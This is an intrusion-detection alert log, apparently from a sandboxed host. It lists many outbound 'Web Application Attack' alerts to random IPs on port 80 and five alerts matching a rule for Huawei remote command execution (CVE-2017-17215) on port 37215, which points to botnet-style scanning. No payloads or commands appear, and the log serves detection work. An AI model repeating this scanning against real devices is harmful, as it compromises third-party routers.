2024-12-03T22:12:26.740980+0100	2029034	1	Web Application Attack	192.168.2.23	54772	184.164.68.130	80	TCP
2024-12-03T22:12:27.698667+0100	2029034	1	Web Application Attack	192.168.2.23	35770	23.79.247.80	80	TCP
2024-12-03T22:12:28.123853+0100	2029034	1	Web Application Attack	192.168.2.23	52984	17.6.230.238	80	TCP
2024-12-03T22:12:28.212353+0100	2029034	1	Web Application Attack	192.168.2.23	58126	210.76.189.252	80	TCP
2024-12-03T22:12:28.228174+0100	2029034	1	Web Application Attack	192.168.2.23	57428	67.245.65.44	80	TCP
2024-12-03T22:12:28.243701+0100	2029034	1	Web Application Attack	192.168.2.23	57704	19.250.116.24	80	TCP
2024-12-03T22:12:28.259630+0100	2029034	1	Web Application Attack	192.168.2.23	39944	178.154.159.142	80	TCP
2024-12-03T22:12:28.264350+0100	2029034	1	Web Application Attack	192.168.2.23	45226	178.212.204.97	80	TCP
2024-12-03T22:12:28.300219+0100	2029034	1	Web Application Attack	192.168.2.23	56262	169.100.244.33	80	TCP
2024-12-03T22:12:29.102964+0100	2029034	1	Web Application Attack	192.168.2.23	43636	206.21.208.222	80	TCP
2024-12-03T22:12:29.118985+0100	2029034	1	Web Application Attack	192.168.2.23	55164	188.194.32.25	80	TCP
2024-12-03T22:12:29.134240+0100	2029034	1	Web Application Attack	192.168.2.23	48572	57.7.89.93	80	TCP
2024-12-03T22:12:29.134455+0100	2029034	1	Web Application Attack	192.168.2.23	53006	36.160.164.90	80	TCP
2024-12-03T22:12:29.134456+0100	2029034	1	Web Application Attack	192.168.2.23	49790	94.171.209.47	80	TCP
2024-12-03T22:12:29.143714+0100	2029034	1	Web Application Attack	192.168.2.23	60952	160.244.227.39	80	TCP
2024-12-03T22:12:29.143939+0100	2029034	1	Web Application Attack	192.168.2.23	44884	89.239.225.204	80	TCP
2024-12-03T22:12:29.149786+0100	2029034	1	Web Application Attack	192.168.2.23	39198	156.95.185.38	80	TCP
2024-12-03T22:12:29.165549+0100	2029034	1	Web Application Attack	192.168.2.23	58990	169.246.228.229	80	TCP
2024-12-03T22:12:29.174687+0100	2029034	1	Web Application Attack	192.168.2.23	33802	118.53.251.121	80	TCP
2024-12-03T22:12:29.174822+0100	2029034	1	Web Application Attack	192.168.2.23	47232	93.194.117.102	80	TCP
2024-12-03T22:12:29.174914+0100	2029034	1	Web Application Attack	192.168.2.23	34108	117.8.135.23	80	TCP
2024-12-03T22:12:29.190275+0100	2029034	1	Web Application Attack	192.168.2.23	60312	158.107.194.183	80	TCP
2024-12-03T22:12:29.190426+0100	2029034	1	Web Application Attack	192.168.2.23	33412	209.172.253.73	80	TCP
2024-12-03T22:12:29.352923+0100	2029034	1	Web Application Attack	192.168.2.23	38512	201.157.150.46	80	TCP
2024-12-03T22:12:29.377654+0100	2029034	1	Web Application Attack	192.168.2.23	54974	80.249.153.86	80	TCP
2024-12-03T22:12:29.384164+0100	2029034	1	Web Application Attack	192.168.2.23	52484	137.249.134.31	80	TCP
2024-12-03T22:12:29.384336+0100	2029034	1	Web Application Attack	192.168.2.23	60266	136.82.108.29	80	TCP
2024-12-03T22:12:29.384438+0100	2029034	1	Web Application Attack	192.168.2.23	43582	93.222.143.27	80	TCP
2024-12-03T22:12:29.384764+0100	2029034	1	Web Application Attack	192.168.2.23	52666	219.2.145.85	80	TCP
2024-12-03T22:12:29.456143+0100	2029034	1	Web Application Attack	192.168.2.23	37182	158.153.75.94	80	TCP
2024-12-03T22:12:30.415222+0100	2029034	1	Web Application Attack	192.168.2.23	38908	193.218.11.180	80	TCP
2024-12-03T22:12:30.440322+0100	2029034	1	Web Application Attack	192.168.2.23	33898	137.112.204.101	80	TCP
2024-12-03T22:12:30.440587+0100	2029034	1	Web Application Attack	192.168.2.23	46506	18.67.16.74	80	TCP
2024-12-03T22:12:30.502866+0100	2029034	1	Web Application Attack	192.168.2.23	55558	111.194.141.228	80	TCP
2024-12-03T22:12:30.518322+0100	2029034	1	Web Application Attack	192.168.2.23	47444	72.161.232.190	80	TCP
2024-12-03T22:12:30.540554+0100	2029034	1	Web Application Attack	192.168.2.23	42860	24.41.43.253	80	TCP
2024-12-03T22:12:30.549582+0100	2029034	1	Web Application Attack	192.168.2.23	37392	41.148.15.31	80	TCP
2024-12-03T22:12:30.566822+0100	2029034	1	Web Application Attack	192.168.2.23	55548	70.202.225.54	80	TCP
2024-12-03T22:12:31.152168+0100	2029034	1	Web Application Attack	192.168.2.23	45964	85.232.3.126	80	TCP
2024-12-03T22:12:31.243582+0100	2029034	1	Web Application Attack	192.168.2.23	50634	70.241.132.41	80	TCP
2024-12-03T22:12:31.243919+0100	2029034	1	Web Application Attack	192.168.2.23	51566	146.205.126.187	80	TCP
2024-12-03T22:12:31.244063+0100	2029034	1	Web Application Attack	192.168.2.23	49292	156.70.40.87	80	TCP
2024-12-03T22:12:31.259331+0100	2029034	1	Web Application Attack	192.168.2.23	36776	34.14.121.95	80	TCP
2024-12-03T22:12:31.268703+0100	2029034	1	Web Application Attack	192.168.2.23	55706	68.67.190.55	80	TCP
2024-12-03T22:12:31.274693+0100	2029034	1	Web Application Attack	192.168.2.23	52204	59.61.108.81	80	TCP
2024-12-03T22:12:31.283986+0100	2029034	1	Web Application Attack	192.168.2.23	39072	181.5.136.83	80	TCP
2024-12-03T22:12:31.284255+0100	2029034	1	Web Application Attack	192.168.2.23	48618	2.163.42.137	80	TCP
2024-12-03T22:12:31.284467+0100	2029034	1	Web Application Attack	192.168.2.23	57938	40.122.120.148	80	TCP
2024-12-03T22:12:31.284594+0100	2029034	1	Web Application Attack	192.168.2.23	52152	128.220.195.47	80	TCP
2024-12-03T22:12:31.284663+0100	2029034	1	Web Application Attack	192.168.2.23	40742	174.134.130.50	80	TCP
2024-12-03T22:12:31.299581+0100	2029034	1	Web Application Attack	192.168.2.23	36178	168.51.234.32	80	TCP
2024-12-03T22:12:31.330943+0100	2029034	1	Web Application Attack	192.168.2.23	53838	185.190.30.181	80	TCP
2024-12-03T22:12:31.347068+0100	2029034	1	Web Application Attack	192.168.2.23	56294	175.98.212.140	80	TCP
2024-12-03T22:12:31.347148+0100	2029034	1	Web Application Attack	192.168.2.23	33852	70.227.246.43	80	TCP
2024-12-03T22:12:31.368465+0100	2029034	1	Web Application Attack	192.168.2.23	48762	114.57.228.38	80	TCP
2024-12-03T22:12:31.368553+0100	2029034	1	Web Application Attack	192.168.2.23	56970	34.170.91.153	80	TCP
2024-12-03T22:12:31.384157+0100	2029034	1	Web Application Attack	192.168.2.23	45980	193.83.93.209	80	TCP
2024-12-03T22:12:31.393409+0100	2029034	1	Web Application Attack	192.168.2.23	32928	223.149.84.48	80	TCP
2024-12-03T22:12:31.399884+0100	2029034	1	Web Application Attack	192.168.2.23	52116	43.89.86.51	80	TCP
2024-12-03T22:12:31.408922+0100	2029034	1	Web Application Attack	192.168.2.23	54602	210.208.127.194	80	TCP
2024-12-03T22:12:31.424510+0100	2029034	1	Web Application Attack	192.168.2.23	39712	25.248.88.24	80	TCP
2024-12-03T22:12:31.441512+0100	2029034	1	Web Application Attack	192.168.2.23	38670	99.43.164.123	80	TCP
2024-12-03T22:12:31.455866+0100	2029034	1	Web Application Attack	192.168.2.23	49702	19.103.126.91	80	TCP
2024-12-03T22:12:31.471607+0100	2029034	1	Web Application Attack	192.168.2.23	41970	167.144.58.12	80	TCP
2024-12-03T22:12:31.471679+0100	2029034	1	Web Application Attack	192.168.2.23	50588	210.93.135.164	80	TCP
2024-12-03T22:12:32.173565+0100	2029034	1	Web Application Attack	192.168.2.23	56950	177.36.9.9	80	TCP
2024-12-03T22:12:32.462365+0100	2029034	1	Web Application Attack	192.168.2.23	47908	199.10.215.131	80	TCP
2024-12-03T22:12:32.462479+0100	2029034	1	Web Application Attack	192.168.2.23	43010	24.146.139.237	80	TCP
2024-12-03T22:12:32.487241+0100	2029034	1	Web Application Attack	192.168.2.23	47514	34.151.131.73	80	TCP
2024-12-03T22:12:34.237702+0100	2029034	1	Web Application Attack	192.168.2.23	59198	212.224.95.74	80	TCP
2024-12-03T22:12:34.471691+0100	2029034	1	Web Application Attack	192.168.2.23	38942	222.202.121.131	80	TCP
2024-12-03T22:12:34.505259+0100	2029034	1	Web Application Attack	192.168.2.23	52258	43.206.114.16	80	TCP
2024-12-03T22:12:34.518491+0100	2029034	1	Web Application Attack	192.168.2.23	37014	99.118.162.209	80	TCP
2024-12-03T22:12:34.665460+0100	2029034	1	Web Application Attack	192.168.2.23	46932	83.165.26.124	80	TCP
2024-12-03T22:12:34.665564+0100	2029034	1	Web Application Attack	192.168.2.23	59822	179.123.42.231	80	TCP
2024-12-03T22:12:34.665663+0100	2029034	1	Web Application Attack	192.168.2.23	51640	25.145.90.5	80	TCP
2024-12-03T22:12:34.753202+0100	2029034	1	Web Application Attack	192.168.2.23	47324	63.248.69.38	80	TCP
2024-12-03T22:12:34.753269+0100	2029034	1	Web Application Attack	192.168.2.23	58070	183.183.193.220	80	TCP
2024-12-03T22:12:34.768451+0100	2029034	1	Web Application Attack	192.168.2.23	33050	109.190.238.125	80	TCP
2024-12-03T22:12:34.931032+0100	2029034	1	Web Application Attack	192.168.2.23	53680	105.173.111.20	80	TCP
2024-12-03T22:12:34.940391+0100	2029034	1	Web Application Attack	192.168.2.23	53236	205.178.60.182	80	TCP
2024-12-03T22:12:35.697011+0100	2029034	1	Web Application Attack	192.168.2.23	53588	209.255.255.71	80	TCP
2024-12-03T22:12:35.697012+0100	2029034	1	Web Application Attack	192.168.2.23	45170	99.142.174.106	80	TCP
2024-12-03T22:12:35.697014+0100	2029034	1	Web Application Attack	192.168.2.23	58164	222.42.182.202	80	TCP
2024-12-03T22:12:35.697166+0100	2029034	1	Web Application Attack	192.168.2.23	49714	25.173.49.221	80	TCP
2024-12-03T22:12:35.712389+0100	2029034	1	Web Application Attack	192.168.2.23	56818	17.75.225.179	80	TCP
2024-12-03T22:12:35.712394+0100	2029034	1	Web Application Attack	192.168.2.23	57850	53.219.113.155	80	TCP
2024-12-03T22:12:35.712460+0100	2029034	1	Web Application Attack	192.168.2.23	36190	123.199.13.10	80	TCP
2024-12-03T22:12:35.712579+0100	2029034	1	Web Application Attack	192.168.2.23	32976	218.226.27.125	80	TCP
2024-12-03T22:12:35.712657+0100	2029034	1	Web Application Attack	192.168.2.23	59596	188.3.37.77	80	TCP
2024-12-03T22:12:35.721605+0100	2029034	1	Web Application Attack	192.168.2.23	51434	181.181.3.222	80	TCP
2024-12-03T22:12:35.728013+0100	2029034	1	Web Application Attack	192.168.2.23	37230	173.3.131.101	80	TCP
2024-12-03T22:12:35.728129+0100	2029034	1	Web Application Attack	192.168.2.23	47194	83.17.31.177	80	TCP
2024-12-03T22:12:35.737208+0100	2029034	1	Web Application Attack	192.168.2.23	33024	1.69.72.110	80	TCP
2024-12-03T22:12:35.737330+0100	2029034	1	Web Application Attack	192.168.2.23	47134	185.160.80.188	80	TCP
2024-12-03T22:12:35.737399+0100	2029034	1	Web Application Attack	192.168.2.23	32858	31.96.123.201	80	TCP
2024-12-03T22:12:35.737461+0100	2029034	1	Web Application Attack	192.168.2.23	37490	40.215.248.1	80	TCP
2024-12-03T22:12:35.743474+0100	2029034	1	Web Application Attack	192.168.2.23	50478	23.142.231.90	80	TCP
2024-12-03T22:12:35.743621+0100	2029034	1	Web Application Attack	192.168.2.23	57978	77.38.210.43	80	TCP
2024-12-03T22:12:35.743754+0100	2029034	1	Web Application Attack	192.168.2.23	42316	124.230.130.67	80	TCP
2024-12-03T22:12:35.743926+0100	2029034	1	Web Application Attack	192.168.2.23	42316	106.50.27.35	80	TCP
2024-12-03T22:12:35.744034+0100	2029034	1	Web Application Attack	192.168.2.23	47132	151.221.253.153	80	TCP
2024-12-03T22:12:35.744198+0100	2029034	1	Web Application Attack	192.168.2.23	54750	212.161.216.184	80	TCP
2024-12-03T22:12:35.752993+0100	2029034	1	Web Application Attack	192.168.2.23	38114	157.190.96.161	80	TCP
2024-12-03T22:12:35.753473+0100	2029034	1	Web Application Attack	192.168.2.23	60832	157.30.99.204	80	TCP
2024-12-03T22:12:35.753590+0100	2029034	1	Web Application Attack	192.168.2.23	60000	44.21.209.76	80	TCP
2024-12-03T22:12:35.760259+0100	2029034	1	Web Application Attack	192.168.2.23	38436	65.252.41.72	80	TCP
2024-12-03T22:12:35.760315+0100	2029034	1	Web Application Attack	192.168.2.23	56254	113.229.88.108	80	TCP
2024-12-03T22:12:35.768662+0100	2029034	1	Web Application Attack	192.168.2.23	50320	175.89.19.54	80	TCP
2024-12-03T22:12:35.768788+0100	2029034	1	Web Application Attack	192.168.2.23	35708	81.70.123.74	80	TCP
2024-12-03T22:12:35.769005+0100	2029034	1	Web Application Attack	192.168.2.23	39850	63.191.88.102	80	TCP
2024-12-03T22:12:35.769097+0100	2029034	1	Web Application Attack	192.168.2.23	59458	81.134.156.238	80	TCP
2024-12-03T22:12:35.769228+0100	2029034	1	Web Application Attack	192.168.2.23	37914	133.86.176.129	80	TCP
2024-12-03T22:12:35.769357+0100	2029034	1	Web Application Attack	192.168.2.23	40166	12.245.71.82	80	TCP
2024-12-03T22:12:35.769528+0100	2029034	1	Web Application Attack	192.168.2.23	52226	112.107.109.30	80	TCP
2024-12-03T22:12:35.769865+0100	2029034	1	Web Application Attack	192.168.2.23	53168	109.141.55.148	80	TCP
2024-12-03T22:12:35.770068+0100	2029034	1	Web Application Attack	192.168.2.23	41694	96.11.113.153	80	TCP
2024-12-03T22:12:35.770072+0100	2029034	1	Web Application Attack	192.168.2.23	34782	95.200.33.137	80	TCP
2024-12-03T22:12:35.770181+0100	2029034	1	Web Application Attack	192.168.2.23	35514	135.233.70.77	80	TCP
2024-12-03T22:12:35.770307+0100	2029034	1	Web Application Attack	192.168.2.23	50784	42.11.204.97	80	TCP
2024-12-03T22:12:35.770435+0100	2029034	1	Web Application Attack	192.168.2.23	35938	73.136.173.189	80	TCP
2024-12-03T22:12:35.770549+0100	2029034	1	Web Application Attack	192.168.2.23	40548	39.128.214.130	80	TCP
2024-12-03T22:12:35.770667+0100	2029034	1	Web Application Attack	192.168.2.23	43368	18.59.18.252	80	TCP
2024-12-03T22:12:35.800236+0100	2029034	1	Web Application Attack	192.168.2.23	46758	37.141.241.117	80	TCP
2024-12-03T22:12:35.801659+0100	2029034	1	Web Application Attack	192.168.2.23	59590	152.72.179.70	80	TCP
2024-12-03T22:12:35.931190+0100	2029034	1	Web Application Attack	192.168.2.23	41740	212.175.168.187	80	TCP
2024-12-03T22:12:35.962496+0100	2029034	1	Web Application Attack	192.168.2.23	47780	205.37.173.57	80	TCP
2024-12-03T22:12:36.694298+0100	2029034	1	Web Application Attack	192.168.2.23	46524	23.7.50.118	80	TCP
2024-12-03T22:12:36.987450+0100	2029034	1	Web Application Attack	192.168.2.23	36712	60.201.19.188	80	TCP
2024-12-03T22:12:38.962364+0100	2029034	1	Web Application Attack	192.168.2.23	40434	198.200.251.230	80	TCP
2024-12-03T22:12:39.034306+0100	2029034	1	Web Application Attack	192.168.2.23	49882	116.118.252.255	80	TCP
2024-12-03T22:12:39.034339+0100	2029034	1	Web Application Attack	192.168.2.23	43784	57.32.48.60	80	TCP
2024-12-03T22:12:39.087585+0100	2029034	1	Web Application Attack	192.168.2.23	38944	216.186.45.129	80	TCP
2024-12-03T22:12:39.143558+0100	2029034	1	Web Application Attack	192.168.2.23	49332	27.198.248.50	80	TCP
2024-12-03T22:12:39.828881+0100	2029034	1	Web Application Attack	192.168.2.23	42296	2.17.47.14	80	TCP
2024-12-03T22:12:39.970110+0100	2029034	1	Web Application Attack	192.168.2.23	41536	196.10.195.126	80	TCP
2024-12-03T22:12:39.988468+0100	2029034	1	Web Application Attack	192.168.2.23	54038	133.176.28.20	80	TCP
2024-12-03T22:12:39.988677+0100	2029034	1	Web Application Attack	192.168.2.23	60106	92.93.110.239	80	TCP
2024-12-03T22:12:39.994710+0100	2029034	1	Web Application Attack	192.168.2.23	37034	134.51.244.29	80	TCP
2024-12-03T22:12:39.994870+0100	2029034	1	Web Application Attack	192.168.2.23	55266	173.155.65.136	80	TCP
2024-12-03T22:12:40.013415+0100	2029034	1	Web Application Attack	192.168.2.23	58528	1.120.211.250	80	TCP
2024-12-03T22:12:40.035916+0100	2029034	1	Web Application Attack	192.168.2.23	40960	110.75.151.43	80	TCP
2024-12-03T22:12:40.050438+0100	2029034	1	Web Application Attack	192.168.2.23	60878	153.140.51.36	80	TCP
2024-12-03T22:12:40.050708+0100	2029034	1	Web Application Attack	192.168.2.23	58850	80.1.35.158	80	TCP
2024-12-03T22:12:40.212515+0100	2029034	1	Web Application Attack	192.168.2.23	36514	141.34.237.240	80	TCP
2024-12-03T22:12:40.212590+0100	2029034	1	Web Application Attack	192.168.2.23	54760	213.111.50.173	80	TCP
2024-12-03T22:12:40.221589+0100	2029034	1	Web Application Attack	192.168.2.23	34660	81.197.186.7	80	TCP
2024-12-03T22:12:40.269132+0100	2029034	1	Web Application Attack	192.168.2.23	33652	123.28.98.167	80	TCP
2024-12-03T22:12:40.269200+0100	2029034	1	Web Application Attack	192.168.2.23	36184	149.188.174.146	80	TCP
2024-12-03T22:12:40.269358+0100	2029034	1	Web Application Attack	192.168.2.23	48156	171.191.211.64	80	TCP
2024-12-03T22:12:40.269454+0100	2029034	1	Web Application Attack	192.168.2.23	44816	117.98.62.127	80	TCP
2024-12-03T22:12:42.103057+0100	2029034	1	Web Application Attack	192.168.2.23	42948	102.116.177.15	80	TCP
2024-12-03T22:12:42.112417+0100	2029034	1	Web Application Attack	192.168.2.23	60388	153.87.223.212	80	TCP
2024-12-03T22:12:42.118798+0100	2029034	1	Web Application Attack	192.168.2.23	53124	144.176.136.168	80	TCP
2024-12-03T22:12:42.134456+0100	2029034	1	Web Application Attack	192.168.2.23	39856	94.39.115.73	80	TCP
2024-12-03T22:12:42.134564+0100	2029034	1	Web Application Attack	192.168.2.23	43698	207.74.138.131	80	TCP
2024-12-03T22:12:42.134727+0100	2029034	1	Web Application Attack	192.168.2.23	58286	99.199.49.186	80	TCP
2024-12-03T22:12:42.134842+0100	2029034	1	Web Application Attack	192.168.2.23	34858	219.68.49.134	80	TCP
2024-12-03T22:12:42.135015+0100	2029034	1	Web Application Attack	192.168.2.23	52916	43.196.74.78	80	TCP
2024-12-03T22:12:42.143588+0100	2029034	1	Web Application Attack	192.168.2.23	55074	99.114.238.186	80	TCP
2024-12-03T22:12:42.143829+0100	2029034	1	Web Application Attack	192.168.2.23	50752	71.248.30.211	80	TCP
2024-12-03T22:12:42.174889+0100	2029034	1	Web Application Attack	192.168.2.23	39090	78.130.163.26	80	TCP
2024-12-03T22:12:42.175001+0100	2029034	1	Web Application Attack	192.168.2.23	38350	57.54.54.26	80	TCP
2024-12-03T22:12:42.175028+0100	2029034	1	Web Application Attack	192.168.2.23	58270	107.131.39.22	80	TCP
2024-12-03T22:12:42.190779+0100	2029034	1	Web Application Attack	192.168.2.23	46836	24.81.6.17	80	TCP
2024-12-03T22:12:42.409685+0100	2029034	1	Web Application Attack	192.168.2.23	41886	199.197.70.187	80	TCP
2024-12-03T22:12:42.424974+0100	2029034	1	Web Application Attack	192.168.2.23	55396	59.90.47.8	80	TCP
2024-12-03T22:12:43.384579+0100	2029034	1	Web Application Attack	192.168.2.23	52300	34.173.215.70	80	TCP
2024-12-03T22:12:43.426970+0100	2029034	1	Web Application Attack	192.168.2.23	36468	78.69.203.63	80	TCP
2024-12-03T22:12:43.431611+0100	2029034	1	Web Application Attack	192.168.2.23	35202	126.177.64.140	80	TCP
2024-12-03T22:12:45.315799+0100	2029034	1	Web Application Attack	192.168.2.23	44202	41.26.113.25	80	TCP
2024-12-03T22:12:46.431484+0100	2029034	1	Web Application Attack	192.168.2.23	36778	191.65.98.219	80	TCP
2024-12-03T22:12:46.440473+0100	2029034	1	Web Application Attack	192.168.2.23	51560	27.176.245.225	80	TCP
2024-12-03T22:12:46.509451+0100	2029034	1	Web Application Attack	192.168.2.23	59236	46.44.15.221	80	TCP
2024-12-03T22:12:46.540668+0100	2029034	1	Web Application Attack	192.168.2.23	35950	160.68.48.149	80	TCP
2024-12-03T22:12:46.540784+0100	2029034	1	Web Application Attack	192.168.2.23	39922	160.100.97.86	80	TCP
2024-12-03T22:12:46.556492+0100	2029034	1	Web Application Attack	192.168.2.23	50690	84.108.131.46	80	TCP
2024-12-03T22:12:46.556750+0100	2029034	1	Web Application Attack	192.168.2.23	48768	162.133.81.132	80	TCP
2024-12-03T22:12:46.565363+0100	2029034	1	Web Application Attack	192.168.2.23	59206	176.132.228.133	80	TCP
2024-12-03T22:12:46.565473+0100	2029034	1	Web Application Attack	192.168.2.23	43112	143.119.92.59	80	TCP
2024-12-03T22:12:46.588027+0100	2029034	1	Web Application Attack	192.168.2.23	54748	49.214.70.247	80	TCP
2024-12-03T22:12:46.588068+0100	2029034	1	Web Application Attack	192.168.2.23	39326	148.189.217.37	80	TCP
2024-12-03T22:12:46.596910+0100	2029034	1	Web Application Attack	192.168.2.23	57574	71.182.198.75	80	TCP
2024-12-03T22:12:46.618806+0100	2029034	1	Web Application Attack	192.168.2.23	57062	85.115.53.211	80	TCP
2024-12-03T22:12:46.842328+0100	2029034	1	Web Application Attack	192.168.2.23	41616	87.255.12.42	80	TCP
2024-12-03T22:12:47.416134+0100	2029034	1	Web Application Attack	192.168.2.23	60770	192.85.49.118	80	TCP
2024-12-03T22:12:47.416137+0100	2029034	1	Web Application Attack	192.168.2.23	37512	79.57.132.144	80	TCP
2024-12-03T22:12:47.431586+0100	2029034	1	Web Application Attack	192.168.2.23	55022	190.176.188.94	80	TCP
2024-12-03T22:12:47.440475+0100	2029034	1	Web Application Attack	192.168.2.23	39452	126.128.44.215	80	TCP
2024-12-03T22:12:47.446823+0100	2029034	1	Web Application Attack	192.168.2.23	50052	149.142.56.175	80	TCP
2024-12-03T22:12:47.447031+0100	2029034	1	Web Application Attack	192.168.2.23	41796	66.44.66.12	80	TCP
2024-12-03T22:12:47.447098+0100	2029034	1	Web Application Attack	192.168.2.23	37288	88.140.29.25	80	TCP
2024-12-03T22:12:47.447188+0100	2029034	1	Web Application Attack	192.168.2.23	33630	156.188.158.32	80	TCP
2024-12-03T22:12:47.447333+0100	2029034	1	Web Application Attack	192.168.2.23	52980	128.64.246.51	80	TCP
2024-12-03T22:12:47.456131+0100	2029034	1	Web Application Attack	192.168.2.23	49800	82.241.105.30	80	TCP
2024-12-03T22:12:47.456305+0100	2029034	1	Web Application Attack	192.168.2.23	60710	106.111.142.11	80	TCP
2024-12-03T22:12:47.462446+0100	2029034	1	Web Application Attack	192.168.2.23	47340	70.76.25.73	80	TCP
2024-12-03T22:12:47.462564+0100	2029034	1	Web Application Attack	192.168.2.23	41048	223.119.120.100	80	TCP
2024-12-03T22:12:47.462662+0100	2029034	1	Web Application Attack	192.168.2.23	59468	182.197.11.78	80	TCP
2024-12-03T22:12:47.471754+0100	2029034	1	Web Application Attack	192.168.2.23	34472	166.83.200.117	80	TCP
2024-12-03T22:12:47.471928+0100	2029034	1	Web Application Attack	192.168.2.23	45160	206.181.200.130	80	TCP
2024-12-03T22:12:47.472229+0100	2029034	1	Web Application Attack	192.168.2.23	60398	154.40.152.17	80	TCP
2024-12-03T22:12:47.472308+0100	2029034	1	Web Application Attack	192.168.2.23	38970	87.173.94.225	80	TCP
2024-12-03T22:12:47.472426+0100	2029034	1	Web Application Attack	192.168.2.23	34672	140.175.254.78	80	TCP
2024-12-03T22:12:47.487647+0100	2029034	1	Web Application Attack	192.168.2.23	47032	131.15.187.187	80	TCP
2024-12-03T22:12:47.487941+0100	2029034	1	Web Application Attack	192.168.2.23	41974	210.87.65.77	80	TCP
2024-12-03T22:12:47.509523+0100	2029034	1	Web Application Attack	192.168.2.23	35830	51.19.245.139	80	TCP
2024-12-03T22:12:47.525078+0100	2029034	1	Web Application Attack	192.168.2.23	50744	116.207.47.214	80	TCP
2024-12-03T22:12:47.549938+0100	2029034	1	Web Application Attack	192.168.2.23	46092	126.237.133.219	80	TCP
2024-12-03T22:12:47.565614+0100	2029034	1	Web Application Attack	192.168.2.23	53584	137.211.124.55	80	TCP
2024-12-03T22:12:47.565719+0100	2029034	1	Web Application Attack	192.168.2.23	47046	68.243.174.192	80	TCP
2024-12-03T22:12:47.565868+0100	2029034	1	Web Application Attack	192.168.2.23	51658	139.200.212.55	80	TCP
2024-12-03T22:12:47.566084+0100	2029034	1	Web Application Attack	192.168.2.23	43732	175.254.212.43	80	TCP
2024-12-03T22:12:47.571941+0100	2029034	1	Web Application Attack	192.168.2.23	54110	169.136.54.79	80	TCP
2024-12-03T22:12:47.572076+0100	2029034	1	Web Application Attack	192.168.2.23	55452	148.243.214.158	80	TCP
2024-12-03T22:12:47.572265+0100	2029034	1	Web Application Attack	192.168.2.23	49518	79.47.191.135	80	TCP
2024-12-03T22:12:47.581170+0100	2029034	1	Web Application Attack	192.168.2.23	41364	161.122.65.38	80	TCP
2024-12-03T22:12:47.581352+0100	2029034	1	Web Application Attack	192.168.2.23	47268	120.205.233.19	80	TCP
2024-12-03T22:12:47.588475+0100	2029034	1	Web Application Attack	192.168.2.23	51562	63.162.9.194	80	TCP
2024-12-03T22:12:47.596838+0100	2029034	1	Web Application Attack	192.168.2.23	49620	178.86.85.111	80	TCP
2024-12-03T22:12:47.596937+0100	2029034	1	Web Application Attack	192.168.2.23	48142	140.127.167.61	80	TCP
2024-12-03T22:12:47.597122+0100	2029034	1	Web Application Attack	192.168.2.23	55060	169.228.101.63	80	TCP
2024-12-03T22:12:47.628314+0100	2029034	1	Web Application Attack	192.168.2.23	50452	50.228.20.58	80	TCP
2024-12-03T22:12:47.643736+0100	2029034	1	Web Application Attack	192.168.2.23	46058	84.47.107.48	80	TCP
2024-12-03T22:12:48.628107+0100	2029034	1	Web Application Attack	192.168.2.23	44274	139.185.174.153	80	TCP
2024-12-03T22:12:49.556430+0100	2029034	1	Web Application Attack	192.168.2.23	37206	178.98.170.57	80	TCP
2024-12-03T22:12:49.556442+0100	2029034	1	Web Application Attack	192.168.2.23	59306	158.122.213.59	80	TCP
2024-12-03T22:12:49.565768+0100	2029034	1	Web Application Attack	192.168.2.23	33500	157.138.43.223	80	TCP
2024-12-03T22:12:49.572137+0100	2029034	1	Web Application Attack	192.168.2.23	51242	147.253.67.213	80	TCP
2024-12-03T22:12:49.581257+0100	2029034	1	Web Application Attack	192.168.2.23	55060	217.196.3.238	80	TCP
2024-12-03T22:12:49.581382+0100	2029034	1	Web Application Attack	192.168.2.23	53038	20.237.132.254	80	TCP
2024-12-03T22:12:49.581479+0100	2029034	1	Web Application Attack	192.168.2.23	50076	158.10.175.47	80	TCP
2024-12-03T22:12:49.587792+0100	2029034	1	Web Application Attack	192.168.2.23	51042	2.255.198.226	80	TCP
2024-12-03T22:12:49.587816+0100	2029034	1	Web Application Attack	192.168.2.23	48276	4.9.106.198	80	TCP
2024-12-03T22:12:49.587980+0100	2029034	1	Web Application Attack	192.168.2.23	47244	195.30.186.224	80	TCP
2024-12-03T22:12:49.588000+0100	2029034	1	Web Application Attack	192.168.2.23	44946	139.112.38.214	80	TCP
2024-12-03T22:12:49.596801+0100	2029034	1	Web Application Attack	192.168.2.23	49902	218.189.209.103	80	TCP
2024-12-03T22:12:49.596886+0100	2029034	1	Web Application Attack	192.168.2.23	48434	18.121.250.66	80	TCP
2024-12-03T22:12:49.596960+0100	2029034	1	Web Application Attack	192.168.2.23	38622	61.165.13.141	80	TCP
2024-12-03T22:12:49.603245+0100	2029034	1	Web Application Attack	192.168.2.23	47578	49.163.134.78	80	TCP
2024-12-03T22:12:49.603404+0100	2029034	1	Web Application Attack	192.168.2.23	60870	19.8.122.110	80	TCP
2024-12-03T22:12:49.603465+0100	2029034	1	Web Application Attack	192.168.2.23	54956	61.251.195.136	80	TCP
2024-12-03T22:12:49.612521+0100	2029034	1	Web Application Attack	192.168.2.23	54588	58.222.117.176	80	TCP
2024-12-03T22:12:49.612601+0100	2029034	1	Web Application Attack	192.168.2.23	40480	172.57.84.69	80	TCP
2024-12-03T22:12:49.634553+0100	2029034	1	Web Application Attack	192.168.2.23	51652	137.220.131.130	80	TCP
2024-12-03T22:12:49.634557+0100	2029034	1	Web Application Attack	192.168.2.23	53814	85.42.116.185	80	TCP
2024-12-03T22:12:49.643557+0100	2029034	1	Web Application Attack	192.168.2.23	59906	20.153.23.73	80	TCP
2024-12-03T22:12:49.659370+0100	2029034	1	Web Application Attack	192.168.2.23	53190	159.13.192.56	80	TCP
2024-12-03T22:12:49.659415+0100	2029034	1	Web Application Attack	192.168.2.23	47806	8.134.250.104	80	TCP
2024-12-03T22:12:49.713230+0100	2029034	1	Web Application Attack	192.168.2.23	43634	129.209.87.146	80	TCP
2024-12-03T22:12:50.006419+0100	2029034	1	Web Application Attack	192.168.2.23	34662	187.120.13.214	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:11:55.198240+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41114	156.47.36.125	37215	TCP
2024-12-03T22:11:55.845865+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56720	197.100.146.120	37215	TCP
2024-12-03T22:12:02.566978+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57428	197.157.228.197	37215	TCP
2024-12-03T22:12:03.390059+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45474	156.250.76.145	37215	TCP
2024-12-03T22:12:07.508790+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56718	41.233.239.49	37215	TCP
